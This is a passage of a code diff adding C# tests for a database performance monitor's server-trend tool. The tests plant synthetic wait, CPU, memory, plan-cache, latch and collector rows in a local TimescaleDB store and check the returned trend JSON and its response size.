+    private static string ViewerCpuSql() => PerformanceMonitor.Darling.Viewer.ViewerDataService.CpuSchedulerTrendSql;
+    private static string ViewerPlanCacheSql() => PerformanceMonitor.Darling.Viewer.ViewerDataService.PlanCacheTrendSql;
+    private static string ViewerMemoryClerksSql(int n) => PerformanceMonitor.Darling.Viewer.ViewerDataService.MemoryClerkTrendsSql(n);
+
+    [Fact]
+    public void TheWebRead_IsHandRegistered_InTheCatalogAndTheDispatch()
+    {
+        var web = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs");
+        Assert.Contains("[\"get_server_trend\"] = R(CatTrends,", web, StringComparison.Ordinal);
+        Assert.Contains("[\"get_server_trend\"] = (c, pg, an) => RequireText(c, \"metric\"", web, StringComparison.Ordinal);
+        Assert.Contains("DarlingMcpServerTrendTools.GetServerTrend(pg, serverTrendMetric, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, Str(c, \"clerk_types\"), Str(c, \"names\"), TrendBudget.Chart", web, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void EveryStoreCommand_SetsAnExplicitDeadline()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpServerTrendTools.cs");
+        Assert.Equal(
+            System.Text.RegularExpressions.Regex.Matches(source, @"postgres\.CreateCommand\(").Count,
+            System.Text.RegularExpressions.Regex.Matches(source, @"CommandTimeout = McpCommandDeadlines\.ReadSeconds").Count);
+    }
+}
+
+/// <summary>
+/// One live round-trip per metric against a local TimescaleDB store (set <c>DARLING_TEST_PG</c>): the numbers
+/// planted come back, a null column is omitted, an empty window says empty, a server that never collected says
+/// unavailable, and the 168-hour answers stay under the 32 KB response target.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class DarlingMcpServerTrendToolsLiveTests
+{
+    private const string ServerName = "server-trend-live";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static readonly string[] Tables = ["wait_stats", "cpu_scheduler_stats", "memory_clerks", "plan_cache_stats", "latch_stats", "spinlock_stats", "session_summary_stats", "collection_log", "file_io_stats", "tempdb_stats"];
+
+    [Fact]
+    public async Task EveryMetric_ReturnsThePlantedSeries_AndTheEmptyAndUnavailableWordsHold()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live server-trend test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+
+            /* Nothing collected yet: every metric says so outright, not "quiet". */
+            foreach (var metric in DarlingMcpServerTrendTools.Metrics.Take(4))
+            {
+                Assert.Equal("unavailable", DarlingMcpTestData.StatusOf(await DarlingMcpServerTrendTools.GetServerTrend(postgres, metric, ServerName)));
+            }
+
+            var end = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-1);
+            var asOf = end.ToString("o", System.Globalization.CultureInfo.InvariantCulture);
+
+            /* Two collections 60 s apart; a 1-hour window sizes to 1-minute buckets, so each is its own point. */
+            for (var i = 0; i < 2; i++)
+            {
+                var t = DarlingMcpTestData.Naive(end.AddMinutes(-2 + i));
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    "INSERT INTO wait_stats (collection_id, collection_time, server_id, server_name, wait_type, delta_waiting_tasks, delta_wait_time_ms, sample_interval_seconds) VALUES ($1,$2,$3,$4,$5,$6,$7,$8)",
+                    CollectionIdGenerator.Next(), t, ServerId, ServerName, "LCK_M_S", 5L, 30000L, 60);
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    "INSERT INTO wait_stats (collection_id, collection_time, server_id, server_name, wait_type, delta_waiting_tasks, delta_wait_time_ms, sample_interval_seconds) VALUES ($1,$2,$3,$4,$5,$6,$7,$8)",
+                    CollectionIdGenerator.Next(), t, ServerId, ServerName, "CXPACKET", 5L, 30000L, 60);
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO cpu_scheduler_stats (collection_id, collection_time, server_id, server_name, max_workers_count, scheduler_count, cpu_count, total_runnable_tasks_count, total_work_queue_count, total_current_workers_count, avg_runnable_tasks_count, total_active_request_count, total_queued_request_count, total_blocked_task_count, total_active_parallel_thread_count, runnable_request_count, total_request_count, runnable_percent, worker_thread_exhaustion_warning, runnable_tasks_warning, blocked_tasks_warning, queued_requests_warning, total_physical_memory_kb, available_physical_memory_kb, physical_memory_pressure_warning, total_node_count, nodes_online_count, offline_cpu_count, offline_cpu_warning)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28,$29)",
+                    CollectionIdGenerator.Next(), t, ServerId, ServerName, 512, 8, 8, 4 + 2 * i, 5L, 100, 7.5m, 40, 3, 6, 2, 20L, 12, 12.5m, false, false, false, false, 65536000L, 32768000L, false, 1, 1, 0, false);
+                foreach (var (clerk, mb) in new[] { ("CLERK_BIG", 40000m), ("CLERK_MID", 900m), ("CLERK_SMALL", 5m) })
+                {
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        "INSERT INTO memory_clerks (collection_id, collection_time, server_id, server_name, clerk_type, memory_mb) VALUES ($1,$2,$3,$4,$5,$6)",
+                        CollectionIdGenerator.Next(), t, ServerId, ServerName, clerk, mb + i);
+                }
+
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO plan_cache_stats (collection_id, collection_time, server_id, server_name, cacheobjtype, objtype, total_plans, total_size_mb, single_use_plans, single_use_size_mb, multi_use_plans, multi_use_size_mb, avg_use_count, avg_size_kb, oldest_plan_create_time)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15)",
+                    CollectionIdGenerator.Next(), t, ServerId, ServerName, "Compiled Plan", "Adhoc", 100, 500, 80, 400 + i, 20, 100, 3.5m, 64, t);
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO plan_cache_stats (collection_id, collection_time, server_id, server_name, cacheobjtype, objtype, total_plans, total_size_mb, single_use_plans, single_use_size_mb, multi_use_plans, multi_use_size_mb, avg_use_count, avg_size_kb, oldest_plan_create_time)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15)",
+                    CollectionIdGenerator.Next(), t, ServerId, ServerName, "Compiled Plan", "Proc", 100, 500, 10, 50, 90, 450, 3.5m, 64, t);
+            }
+
+            // total_waits: two wait types x 30000 ms over 60 s = 1000 ms per second.
+            var waits = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "total_waits", ServerName, 1, asOf)).RootElement;
+            Assert.Equal("total_waits", waits.GetProperty("metric").GetString());
+            Assert.Equal("1 minute", waits.GetProperty("bucket").GetString());
+            var wps = waits.GetProperty("trend").EnumerateArray().ToArray();
+            Assert.Equal(2, wps.Length);
+            Assert.All(wps, wp => Assert.Equal(1000.0, wp.GetProperty("wait_time_ms_per_second").GetDouble(), 2));
+            Assert.Equal(0, waits.GetProperty("discontinuities").GetArrayLength());
+
+            // cpu_scheduler: runnable 4 then 6, blocked 6, queued 3.
+            var cpu = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "cpu_scheduler", ServerName, 1, asOf)).RootElement;
+            var cps = cpu.GetProperty("trend").EnumerateArray().ToArray();
+            Assert.Equal([4.0, 6.0], cps.Select(p => p.GetProperty("runnable_tasks").GetDouble()).ToArray());
+            Assert.All(cps, cp => Assert.Equal(6.0, cp.GetProperty("blocked_tasks").GetDouble(), 2));
+            Assert.All(cps, cp => Assert.Equal(3.0, cp.GetProperty("queued_requests").GetDouble(), 2));
+
+            // memory_clerks: the default is the heaviest clerks, biggest first; a named clerk narrows it.
+            var clerks = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "memory_clerks", ServerName, 1, asOf)).RootElement;
+            Assert.Equal(["CLERK_BIG", "CLERK_MID", "CLERK_SMALL"], clerks.GetProperty("series").EnumerateArray().Select(s => s.GetProperty("clerk_type").GetString()).ToArray());
+            Assert.Equal([40000.0, 40001.0], clerks.GetProperty("series")[0].GetProperty("trend").EnumerateArray().Select(p => p.GetProperty("memory_mb").GetDouble()).ToArray());
+            var one = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "memory_clerks", ServerName, 1, asOf, clerk_types: "CLERK_MID")).RootElement;
+            Assert.Single(one.GetProperty("series").EnumerateArray());
+            Assert.False(one.TryGetProperty("missing_clerk_types", out _));
+
+            // A named type the window never recorded is reported, and the types that were found still come back.
+            var partial = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "memory_clerks", ServerName, 1, asOf, clerk_types: "CLERK_MID, clerk_mid, CLERK_NOPE")).RootElement;
+            Assert.Equal(["CLERK_MID"], partial.GetProperty("series").EnumerateArray().Select(sr => sr.GetProperty("clerk_type").GetString()).ToArray());
+            Assert.Equal(["clerk_mid", "CLERK_NOPE"], partial.GetProperty("missing_clerk_types").EnumerateArray().Select(x => x.GetString()).ToArray());
+
+            // None found: not "quiet" - a distinct note, the misses, and the heaviest types the window did record.
+            var none = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "memory_clerks", ServerName, 1, asOf, clerk_types: "CLERK_NOPE")).RootElement;
+            Assert.Equal("empty", none.GetProperty("status").GetString());
+            var noneMessage = none.GetProperty("message").GetString()!;
+            Assert.Contains("None of the named clerk types", noneMessage, StringComparison.Ordinal);
+            Assert.DoesNotContain("genuinely quiet", noneMessage, StringComparison.Ordinal);
+            Assert.Equal(["CLERK_NOPE"], none.GetProperty("hints").GetProperty("missing_clerk_types").EnumerateArray().Select(x => x.GetString()).ToArray());
+            Assert.Equal(["CLERK_BIG", "CLERK_MID", "CLERK_SMALL"], none.GetProperty("hints").GetProperty("heaviest_clerk_types").EnumerateArray().Select(x => x.GetString()).ToArray());
+
+            // plan_cache: single-use is 400 + 50 (Adhoc + Proc), +1 on the second collection; multi-use 100 + 450.
+            var plan = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "plan_cache", ServerName, 1, asOf)).RootElement;
+            var pps = plan.GetProperty("trend").EnumerateArray().ToArray();
+            Assert.Equal([450.0, 451.0], pps.Select(p => p.GetProperty("single_use_mb").GetDouble()).ToArray());
+            Assert.All(pps, pp => Assert.Equal(550.0, pp.GetProperty("multi_use_mb").GetDouble(), 2));
+
+            // A window with nothing in it, on a server that HAS collected, says empty.
+            var quiet = await DarlingMcpServerTrendTools.GetServerTrend(postgres, "plan_cache", ServerName, 1, end.AddDays(-3).ToString("o", System.Globalization.CultureInfo.InvariantCulture));
+            Assert.Equal("empty", DarlingMcpTestData.StatusOf(quiet));
+
+            // A null column is omitted, not written as null.
+            await DarlingMcpTestData.ExecAsync(connection, ct, $"UPDATE plan_cache_stats SET single_use_size_mb = NULL, multi_use_size_mb = NULL WHERE server_id = {ServerId}");
+            var nulls = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "plan_cache", ServerName, 1, asOf)).RootElement;
+            Assert.All(nulls.GetProperty("trend").EnumerateArray(), p => Assert.False(p.TryGetProperty("single_use_mb", out _)));
+
+            // A week of one-minute collections: the default answer stays under the 32 KB response target, and the
+            // widest explicit answer a caller can ask for is measured (reported, and bounded by the point cap).
+            await DarlingMcpTestData.ExecAsync(connection, ct, $"DELETE FROM wait_stats WHERE server_id = {ServerId}; DELETE FROM cpu_scheduler_stats WHERE server_id = {ServerId}; DELETE FROM memory_clerks WHERE server_id = {ServerId}; DELETE FROM plan_cache_stats WHERE server_id = {ServerId};");
+            var weekStart = DarlingMcpTestData.Naive(end.AddMinutes(-(7 * 24 * 60 - 5)));
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO wait_stats (collection_id, collection_time, server_id, server_name, wait_type, delta_waiting_tasks, delta_wait_time_ms, sample_interval_seconds)
+SELECT 1000000 + g, $1::timestamp + g * INTERVAL '1 minute', $2, $3, w, 5, 12345.678, 60 FROM generate_series(0, 10070) g, unnest(ARRAY['LCK_M_S','CXPACKET']) w",
+                weekStart, ServerId, ServerName);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO cpu_scheduler_stats (collection_id, collection_time, server_id, server_name, max_workers_count, scheduler_count, cpu_count, total_runnable_tasks_count, total_work_queue_count, total_current_workers_count, avg_runnable_tasks_count, total_active_request_count, total_queued_request_count, total_blocked_task_count, total_active_parallel_thread_count, runnable_request_count, total_request_count, runnable_percent, worker_thread_exhaustion_warning, runnable_tasks_warning, blocked_tasks_warning, queued_requests_warning, total_physical_memory_kb, available_physical_memory_kb, physical_memory_pressure_warning, total_node_count, nodes_online_count, offline_cpu_count, offline_cpu_warning)
+SELECT 2000000 + g, $1::timestamp + g * INTERVAL '1 minute', $2, $3, 512, 8, 8, g % 17, 5, 100, 7.5, 40, g % 5, g % 7, 2, 20, 12, 12.5, false, false, false, false, 65536000, 32768000, false, 1, 1, 0, false FROM generate_series(0, 10070) g",
+                weekStart, ServerId, ServerName);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO memory_clerks (collection_id, collection_time, server_id, server_name, clerk_type, memory_mb)
+SELECT 3000000 + g * 20 + c, $1::timestamp + g * INTERVAL '1 minute', $2, $3, 'MEMORYCLERK_TYPE_' || c, 1000 + g % 977 + c * 31.37 FROM generate_series(0, 10070) g, generate_series(1, 12) c",
+                weekStart, ServerId, ServerName);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO plan_cache_stats (collection_id, collection_time, server_id, server_name, cacheobjtype, objtype, total_plans, total_size_mb, single_use_plans, single_use_size_mb, multi_use_plans, multi_use_size_mb, avg_use_count, avg_size_kb, oldest_plan_create_time)
+SELECT 4000000 + g * 2 + o, $1::timestamp + g * INTERVAL '1 minute', $2, $3, 'Compiled Plan', 'T' || o, 100, 500, 80, 400 + g % 313 + 0.37, 20, 100 + g % 91, 3.5, 64, $1::timestamp FROM generate_series(0, 10070) g, generate_series(1, 2) o",
+                weekStart, ServerId, ServerName);
+
+            var sizes = new System.Collections.Generic.List<string>();
+            foreach (var metric in DarlingMcpServerTrendTools.Metrics.Take(4))
+            {
+                var week = await DarlingMcpServerTrendTools.GetServerTrend(postgres, metric, ServerName, 168, asOf);
+                var bytes = System.Text.Encoding.UTF8.GetByteCount(week);
+                sizes.Add($"{metric} default 168h: {bytes} bytes");
+                Assert.True(bytes <= McpResponseBudget.DefaultBytes, $"{metric}: {bytes} bytes over the 32 KB target");
+
+                var series = metric == "memory_clerks" ? DarlingMcpServerTrendTools.DefaultClerkCount : 1;
+                var width = TrendBuckets.NarrowestFitting(7 * 24 * 60, series, DarlingMcpServerTrendTools.MaxPoints);
+                var widest = await DarlingMcpServerTrendTools.GetServerTrend(postgres, metric, ServerName, 168, asOf, bucket_minutes: width);
+                var widestBytes = System.Text.Encoding.UTF8.GetByteCount(widest);
+                sizes.Add($"{metric} widest 168h at {width} min: {widestBytes} bytes");
+                Assert.True(widestBytes <= 320 * 1024, $"{metric}: widest {widestBytes} bytes");
+            }
+
+            TestContext.Current.TestOutputHelper?.WriteLine(string.Join(Environment.NewLine, sizes));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task LatchSpinlockSessionStatsAndCollectorDuration_ReturnThePlantedSeries()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live server-trend test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var later = new[] { "latch", "spinlock", "session_stats", "collector_duration", "tempdb_file_io", "tempdb_size", "file_io_throughput" };
+            foreach (var metric in later)
+            {
+                Assert.Equal("unavailable", DarlingMcpTestData.StatusOf(await DarlingMcpServerTrendTools.GetServerTrend(postgres, metric, ServerName)));
+            }
+
+            var end = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-1);
+            var asOf = end.ToString("o", System.Globalization.CultureInfo.InvariantCulture);
+
+            for (var i = 0; i < 2; i++)
+            {
+                var t = DarlingMcpTestData.Naive(end.AddMinutes(-2 + i));
+                foreach (var (latchClass, delta) in new[] { ("LATCH_BIG", 6000L), ("LATCH_MID", 600L), ("LATCH_SMALL", 6L) })
+                {
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        "INSERT INTO latch_stats (collection_id, collection_time, server_id, server_name, latch_class, waiting_requests_count, wait_time_ms, max_wait_time_ms, delta_waiting_requests_count, delta_wait_time_ms, delta_max_wait_time_ms, sample_interval_seconds) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12::integer)",
+                        CollectionIdGenerator.Next(), t, ServerId, ServerName, latchClass, 1000L, 20000L, 50L, 10L, delta, 5L, 60);
+                }
+
+                /* A restart sample: the stored interval is the 0 marker, so it is not a point and is not drawn as 0. */
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    "INSERT INTO latch_stats (collection_id, collection_time, server_id, server_name, latch_class, waiting_requests_count, wait_time_ms, max_wait_time_ms, delta_waiting_requests_count, delta_wait_time_ms, delta_max_wait_time_ms, sample_interval_seconds) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12::integer)",
+                    CollectionIdGenerator.Next(), t, ServerId, ServerName, "LATCH_RESTART", 1000L, 20000L, 50L, 0L, 0L, 0L, 0);
+
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    "INSERT INTO spinlock_stats (collection_id, collection_time, server_id, server_name, spinlock_name, collisions, spins, spins_per_collision, sleep_time, backoffs, delta_collisions, delta_spins, delta_sleep_time, delta_backoffs, sample_interval_seconds) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15::integer)",
+                    CollectionIdGenerator.Next(), t, ServerId, ServerName, "LOCK_HASH", 900000L, 5000000L, 5.5d, 100L, 200L, 1200L, 4000L, 3L, 7L, 60);
+
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO session_summary_stats (collection_id, collection_time, server_id, server_name, total_sessions, running_sessions, sleeping_sessions, background_sessions, dormant_sessions, idle_sessions_over_30min, sessions_waiting_for_memory, databases_with_connections, top_application_name, top_application_connections, top_host_name, top_host_connections)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16)",
+                    CollectionIdGenerator.Next(), t, ServerId, ServerName, 100 + 20 * i, 5, 90, 3, 2, 1, 0, 4, "app-" + i, 50 + i, "host-" + i, 40 + i);
+
+                foreach (var (collector, ms) in new[] { ("slow_collector", 9000), ("quick_collector", 120) })
+                {
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        "INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status) VALUES ($1,$2,$3,$4,$5,$6,'SUCCESS')",
+                        CollectionIdGenerator.Next(), ServerId, ServerName, collector, t, ms + 100 * i);
+                }
+
+                /* A failed run is not a duration. */
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    "INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status) VALUES ($1,$2,$3,$4,$5,$6,'ERROR')",
+                    CollectionIdGenerator.Next(), ServerId, ServerName, "failing_collector", t, 77777);
+            }
+
+            // latch: the default is the heaviest classes, biggest first; 6000 ms over 60 s = 100 ms/s; the restart row is no point and no series.
+            var latch = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "latch", ServerName, 1, asOf, bucket_minutes: 1)).RootElement;
+            Assert.Equal(["LATCH_BIG", "LATCH_MID", "LATCH_SMALL"], latch.GetProperty("series").EnumerateArray().Select(s => s.GetProperty("latch_class").GetString()).ToArray());
+            var big = latch.GetProperty("series")[0].GetProperty("trend").EnumerateArray().ToArray();
+            Assert.Equal(2, big.Length);
+            Assert.All(big, p => Assert.Equal(100.0, p.GetProperty("wait_time_ms_per_second").GetDouble(), 2));
+            Assert.False(latch.TryGetProperty("missing_names", out _));
+            Assert.Equal(0, latch.GetProperty("discontinuities").GetArrayLength());
+
+            var named = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "latch", ServerName, 1, asOf, bucket_minutes: 1, names: "LATCH_MID, latch_mid, LATCH_NOPE")).RootElement;
+            Assert.Equal(["LATCH_MID"], named.GetProperty("series").EnumerateArray().Select(s => s.GetProperty("latch_class").GetString()).ToArray());
+            Assert.Equal(["latch_mid", "LATCH_NOPE"], named.GetProperty("missing_names").EnumerateArray().Select(x => x.GetString()).ToArray());
+
+            var none = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "latch", ServerName, 1, asOf, names: "LATCH_NOPE")).RootElement;
+            Assert.Equal("empty", none.GetProperty("status").GetString());
+            Assert.Contains("None of the named latch classes", none.GetProperty("message").GetString(), StringComparison.Ordinal);
+            Assert.Equal(["LATCH_NOPE"], none.GetProperty("hints").GetProperty("missing_names").EnumerateArray().Select(x => x.GetString()).ToArray());
+            Assert.Equal(["LATCH_BIG", "LATCH_MID", "LATCH_SMALL", "LATCH_RESTART"], none.GetProperty("hints").GetProperty("top_names").EnumerateArray().Select(x => x.GetString()).ToArray());
+
+            // spinlock: 1200 collisions over 60 s = 20 per second.
+            var spin = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "spinlock", ServerName, 1, asOf, bucket_minutes: 1)).RootElement;
+            Assert.Equal("LOCK_HASH", spin.GetProperty("series")[0].GetProperty("spinlock_name").GetString());
+            Assert.All(spin.GetProperty("series")[0].GetProperty("trend").EnumerateArray(), p => Assert.Equal(20.0, p.GetProperty("collisions_per_second").GetDouble(), 2));
+
+            // session_stats: the count is averaged per bucket (100 then 120); the attribution is the bucket's newest collection's own.
+            var sessions = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "session_stats", ServerName, 1, asOf, bucket_minutes: 1)).RootElement;
+            var sps = sessions.GetProperty("trend").EnumerateArray().ToArray();
+            Assert.Equal([100.0, 120.0], sps.Select(p => p.GetProperty("total_sessions").GetDouble()).ToArray());
+            Assert.Equal(["app-0", "app-1"], sps.Select(p => p.GetProperty("top_application_name").GetString()).ToArray());
+            Assert.Equal([40.0, 41.0], sps.Select(p => p.GetProperty("top_host_connections").GetDouble()).ToArray());
+            Assert.All(sps, p => Assert.Equal(4.0, p.GetProperty("databases_with_connections").GetDouble(), 2));
+
+            // collector_duration: the slowest collector first, success runs only, the failed one is never a series.
+            var durations = JsonDocument.Parse(await DarlingMcpServerTrendTools.GetServerTrend(postgres, "collector_duration", ServerName, 1, asOf, bucket_minutes: 1)).RootElement;
+            Assert.Equal(["slow_collector", "quick_collector"], durations.GetProperty("series").EnumerateArray().Select(s => s.GetProperty("collector_name").GetString()).ToArray());
+            var slow = durations.GetProperty("series")[0].GetProperty("trend").EnumerateArray().ToArray();
+            Assert.Equal([9000.0, 9100.0], slow.Select(p => p.GetProperty("max_duration_ms").GetDouble()).ToArray());
+            Assert.All(slow, p => Assert.Equal(1.0, p.GetProperty("run_count").GetDouble(), 2));
+
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "INSERT INTO file_io_stats (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type, physical_name, size_mb, delta_reads, delta_writes, delta_read_bytes, delta_write_bytes, delta_stall_read_ms, delta_stall_write_ms, sample_interval_seconds) SELECT $1 + n, $2, $3, $4, d, 'f.mdf', 'ROWS', 'x', 100, 1, 1, 1, 1, 1, 1, 60 FROM unnest(ARRAY['tempdb','userdb']) WITH ORDINALITY AS t(d, n)",
+                CollectionIdGenerator.Next() * 10, DarlingMcpTestData.Naive(end.AddDays(-20)), ServerId, ServerName);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "INSERT INTO tempdb_stats (collection_id, collection_time, server_id, server_name, user_object_reserved_mb, internal_object_reserved_mb, version_store_reserved_mb, total_reserved_mb, unallocated_mb) VALUES ($1,$2,$3,$4,1,1,1,10,5)",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(end.AddDays(-20)), ServerId, ServerName);
+            // A quiet window on a server that HAS collected says empty.
+            var quiet = end.AddDays(-3).ToString("o", System.Globalization.CultureInfo.InvariantCulture);
+            foreach (var metric in later)
+            {
+                Assert.Equal("empty", DarlingMcpTestData.StatusOf(await DarlingMcpServerTrendTools.GetServerTrend(postgres, metric, ServerName, 1, quiet)));
+            }
+
+            // A week of one-minute collections: the default answer stays under the 32 KB target; the widest is measured.
+            await DarlingMcpTestData.ExecAsync(connection, ct, string.Join(" ", new[] { "latch_stats", "spinlock_stats", "session_summary_stats", "collection_log", "file_io_stats", "tempdb_stats" }.Select(tb => $"DELETE FROM {tb} WHERE server_id = {ServerId};")));
+            var weekStart = DarlingMcpTestData.Naive(end.AddMinutes(-(7 * 24 * 60 - 5)));
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO latch_stats (collection_id, collection_time, server_id, server_name, latch_class, waiting_requests_count, wait_time_ms, max_wait_time_ms, delta_waiting_requests_count, delta_wait_time_ms, delta_max_wait_time_ms, sample_interval_seconds)
+SELECT 5000000 + g * 8 + c, $1::timestamp + g * INTERVAL '1 minute', $2, $3, 'LATCH_' || c, 1000, 20000, 50, 10, 1234 + g % 977 + c * 31, 5, 60 FROM generate_series(0, 10070) g, generate_series(1, 8) c",
+                weekStart, ServerId, ServerName);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO spinlock_stats (collection_id, collection_time, server_id, server_name, spinlock_name, collisions, spins, spins_per_collision, sleep_time, backoffs, delta_collisions, delta_spins, delta_sleep_time, delta_backoffs, sample_interval_seconds)
+SELECT 6000000 + g * 8 + c, $1::timestamp + g * INTERVAL '1 minute', $2, $3, 'SPIN_' || c, 900000, 5000000, 5.5, 100, 200, 1200 + g % 311 + c * 17, 4000, 3, 7, 60 FROM generate_series(0, 10070) g, generate_series(1, 8) c",
+                weekStart, ServerId, ServerName);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO session_summary_stats (collection_id, collection_time, server_id, server_name, total_sessions, running_sessions, sleeping_sessions, background_sessions, dormant_sessions, idle_sessions_over_30min, sessions_waiting_for_memory, databases_with_connections, top_application_name, top_application_connections, top_host_name, top_host_connections)
+SELECT 7000000 + g, $1::timestamp + g * INTERVAL '1 minute', $2, $3, 100 + g % 53, 5 + g % 7, 90, 3, 2, 1, 0, 4, 'Microsoft SQL Server Management Studio', 50 + g % 9, 'WORKSTATION-' || g % 13, 40 + g % 5 FROM generate_series(0, 10070) g",
+                weekStart, ServerId, ServerName);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status)
+SELECT 8000000 + g * 12 + c, $2, $3, 'collector_' || c, $1::timestamp + g * INTERVAL '1 minute', 100 + g % 997 + c * 13, 'SUCCESS' FROM generate_series(0, 10070) g, generate_series(1, 12) c",
+                weekStart, ServerId, ServerName);
+
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO file_io_stats (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type, physical_name, size_mb, delta_reads, delta_writes, delta_read_bytes, delta_write_bytes, delta_stall_read_ms, delta_stall_write_ms, sample_interval_seconds)
+SELECT 9000000 + g * 8 + c, $1::timestamp + g * INTERVAL '1 minute', $2, $3, CASE WHEN c <= 4 THEN 'tempdb' ELSE 'userdb' END, 'file_' || c, 'ROWS', 'x', 100, 100 + g % 50, 50, 1048576 * (1 + g % 7), 524288, 1000 + g % 97, 500, 60 FROM generate_series(0, 10070) g, generate_series(1, 8) c",
+                weekStart, ServerId, ServerName);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO tempdb_stats (collection_id, collection_time, server_id, server_name, user_object_reserved_mb, internal_object_reserved_mb, version_store_reserved_mb, total_reserved_mb, unallocated_mb)
+SELECT 9900000 + g, $1::timestamp + g * INTERVAL '1 minute', $2, $3, 1, 1, 1, 100 + g % 211, 20 FROM generate_series(0, 10070) g",
+                weekStart, ServerId, ServerName);
+
+            var sizes = new System.Collections.Generic.List<string>();
+            foreach (var metric in later)
+            {
+                var week = await DarlingMcpServerTrendTools.GetServerTrend(postgres, metric, ServerName, 168, asOf);
+                var bytes = System.Text.Encoding.UTF8.GetByteCount(week);
+                sizes.Add($"{metric} default 168h: {bytes} bytes");
+                Assert.True(bytes <= McpResponseBudget.DefaultBytes, $"{metric}: {bytes} bytes over the 32 KB target");
+
